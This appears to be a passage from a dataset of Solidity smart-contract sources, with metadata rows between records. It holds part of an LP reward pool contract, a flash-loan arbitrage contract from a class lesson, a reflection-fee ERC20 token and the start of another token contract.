// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate,
uint256 _lastRewardBlock) public onlyOperator {
checkPoolDuplicate(_lpToken);
if (_withUpdate) {
massUpdatePools();
}
if (block.number < startBlock) {
// chef is sleeping
if (_lastRewardBlock == 0) {
_lastRewardBlock = startBlock;
} else {
if (_lastRewardBlock < startBlock) {
_lastRewardBlock = startBlock;
}
}
} else {
// chef is cooking
if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) {
_lastRewardBlock = block.number;
}
}
bool _isStarted =
(_lastRewardBlock <= startBlock) ||
(_lastRewardBlock <= block.number);
poolInfo.push(PoolInfo({
lpToken : _lpToken,
allocPoint : _allocPoint,
lastRewardBlock : _lastRewardBlock,
accCashPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's CASH allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _from, uint256 _to) public view returns (uint256) {
if (_from >= _to) return 0;
if (_to >= endBlock) {
if (_from >= endBlock) return 0;
if (_from <= startBlock) return endBlock.sub(startBlock).mul(cashPerBlock);
return endBlock.sub(_from).mul(cashPerBlock);
} else {
if (_to <= startBlock) return 0;
if (_from <= startBlock) return _to.sub(startBlock).mul(cashPerBlock);
return _to.sub(_from).mul(cashPerBlock);
}
}
// View function to see pending CASHs on frontend.
function pendingCash(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accCashPerShare = pool.accCashPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _cashReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accCashPerShare = accCashPerShare.add(_cashReward.mul(1e18).div(lpSupply));
}
return user.amount.mul(accCashPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _cashReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accCashPerShare = pool.accCashPerShare.add(_cashReward.mul(1e18).div(lpSupply));
}
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accCashPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeCashTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCashPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accCashPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeCashTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accCashPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe cash transfer function, just in case if rounding error causes pool to not have enough CASHs.
function safeCashTransfer(address _to, uint256 _amount) internal {
uint256 _cashBal = cash.balanceOf(address(this));
if (_cashBal > 0) {
if (_amount > _cashBal) {
cash.safeTransfer(_to, _cashBal);
totalCirculating = totalCirculating.add(_cashBal);
} else {
cash.safeTransfer(_to, _amount);
totalCirculating = totalCirculating.add(_amount);
}
}
}
function getTotalCirculating() view public returns (uint256) {
return totalCirculating;
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.number < endBlock + BLOCKS_PER_WEEK * 26) {
// do not allow to drain core token (CASH or lps) if less than 6 months after pool ends
require(_token != cash, "cash");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.lpToken, "pool.lpToken");
}
}
_token.safeTransfer(to, amount);
}
}
| 10,297 | 12,091 |
33127cc86becd657cb91e4c1eace94455ba8ed41d1468457ee5ad888b39fa99f
| 11,577 |
.sol
|
Solidity
| false |
482128030
|
yueying007/blockchainclass
|
1ded69a65a6c93168c5dd1ceba50a6c2d6d03a7f
|
lesson6/Contract/SimpleArbi.sol
| 3,368 | 11,250 |
pragma solidity 0.8.0;
// -- interface -- //
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
}
interface ILiquidity {
function borrow(address _token, uint256 _amount, bytes calldata _data) external;
}
interface ICurveCrypto {
function exchange(uint256 from, uint256 to, uint256 from_amount, uint256 min_to_amount) external payable;
function get_dy(uint256 from, uint256 to, uint256 from_amount) external view returns(uint256);
}
interface IUniswapV3Pair {
function swap(address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data) external returns (int256 amount0, int256 amount1);
function fee() external view returns(uint24);
}
// -- library -- //
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value:amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library TickMath {
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
}
contract SimpleArbi {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct RepayData {
SwapData[] swap_data;
address repay_token;
uint256 repay_amount;
address recipient;
bool direct_repay;
}
struct SwapData {
uint function_id;
uint256 token_in_id;
uint256 token_out_id;
address token_in;
address token_out;
address pool;
}
address owner;
address liquidityPool = 0x4F868C1aa37fCf307ab38D215382e88FCA6275E2;
address borrowerProxy = 0x17a4C8F43cB407dD21f9885c5289E66E21bEcD9D;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 MAX_INT = 2**256 - 1;
bool lock = true;
// constructor
constructor () public {
owner = address(tx.origin);
}
// modifier
modifier onlyOwner(){
require(address(msg.sender) == owner, "No authority");
_;
}
modifier Lock() {
lock = false;
_;
lock = true;
}
// fallback
receive() external payable {}
// get
function getOwner() public view returns(address) {
return owner;
}
function getTokenBalance(address token, address account) public view returns(uint256) {
return IERC20(token).balanceOf(account);
}
// set
function turnOutETH(uint256 amount) public onlyOwner {
payable(owner).transfer(amount);
}
function turnOutToken(address token, uint256 amount) public onlyOwner {
IERC20(token).safeTransfer(owner, amount);
}
function WETHToETH(uint256 amount) public onlyOwner {
IWETH(WETH).withdraw(amount);
}
function ETHtoWETH(uint256 amount) public onlyOwner {
IWETH(WETH).deposit{value:amount}();
}
function setLock(bool tof) public onlyOwner {
lock = tof;
}
function execute(bytes[] memory data, uint256 amount_in) public onlyOwner Lock returns(uint256) {
SwapData[] memory _swap_data = new SwapData[](data.length);
for (uint i = 0; i <= data.length - 1; i++) {
_swap_data[i] = abi.decode(data[i], (SwapData));
}
uint256 balance_before = IERC20(_swap_data[0].token_in).balanceOf(address(this));
RepayData memory _repay_data = RepayData(_swap_data, _swap_data[0].token_in, amount_in, liquidityPool, false);
ILiquidity(liquidityPool).borrow(_swap_data[0].token_in, amount_in,
abi.encodeWithSignature("receiveLoan(bytes)", abi.encode(_repay_data)));
uint256 balance_after = IERC20(_swap_data[0].token_in).balanceOf(address(this));
require(balance_after > balance_before, "No Profit!");
return balance_after - balance_before;
}
// callback
function receiveLoan(bytes memory data) public {
require(!lock, "Locked");
RepayData memory _repay_data = abi.decode(data, (RepayData));
if (_repay_data.direct_repay) {
IERC20(_repay_data.repay_token).safeTransfer(_repay_data.recipient, _repay_data.repay_amount);
} else {
uint _length = _repay_data.swap_data.length;
uint256 out_amount;
for (uint i = 0; i <= _length - 1; i++) {
out_amount = SwapBase(_repay_data.swap_data[i].pool,
_repay_data.swap_data[i].function_id,
i == 0 ? _repay_data.repay_amount : out_amount,
_repay_data.swap_data[i].token_in_id,
_repay_data.swap_data[i].token_out_id,
_repay_data.swap_data[i].token_in,
_repay_data.swap_data[i].token_out);
}
IERC20(_repay_data.repay_token).safeTransfer(_repay_data.recipient, _repay_data.repay_amount);
}
}
// approve
function ApproveToken(address token, address spender, uint256 amount) internal {
uint256 alowance = IERC20(token).allowance(address(this), spender);
if (alowance < amount) {
IERC20(token).safeApprove(spender, 0);
IERC20(token).safeApprove(spender, MAX_INT);
}
}
// CurveCrypto
function CurveCryptoExchange(address pool, uint256 token_in_id, uint256 token_out_id, address token_in,
uint256 amount_in) internal {
ApproveToken(token_in, pool, amount_in);
ICurveCrypto(pool).exchange(token_in_id, token_out_id, amount_in, 0);
}
// UniSwapV3
function UniswapV3Swap(address pool, address token_in, address token_out, uint256 amount_in) internal {
bool zeroForOne = token_in < token_out;
SwapData[] memory _empty_swap = new SwapData[](0);
RepayData memory _repay_data = RepayData(_empty_swap, token_in, amount_in, pool, true);
IUniswapV3Pair(pool).swap(address(this), zeroForOne, int256(amount_in),
(zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1), abi.encode(_repay_data));
}
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) public {
receiveLoan(_data);
}
// SwapBase
function SwapBase(address pool, uint256 function_id, uint256 amount_in, uint256 token_in_id, uint256 token_out_id,
address token_in, address token_out) internal returns(uint256) {
uint256 balance = IERC20(token_out).balanceOf(address(this));
if (function_id == 1) {
UniswapV3Swap(pool, token_in, token_out, amount_in);
} else if (function_id == 2) {
CurveCryptoExchange(pool, token_in_id, token_out_id, token_in, amount_in);
}
return IERC20(token_out).balanceOf(address(this)) - balance;
}
}
| 12,233 | 12,092 |
aad016f0e65b86f4e5d502277e319f610f9542e9818a37637f20ba2159c1dd63
| 25,887 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fb/Fb7c9611Ea8C7C44E379a5FfDE97AA0Ee66996B0_Test.sol
| 4,437 | 16,377 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Test is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'test';
string private _symbol = 'tst';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 97,805 | 12,093 |
846a5594e6f5ce6f1ec26794efe2e560082ca72fb25134e2f524d25008cfa37c
| 14,032 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/0027C3e1dcfa47a958c266435B03096C8D6Ee6cf.sol
| 3,671 | 13,196 |
pragma solidity 0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ECAT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
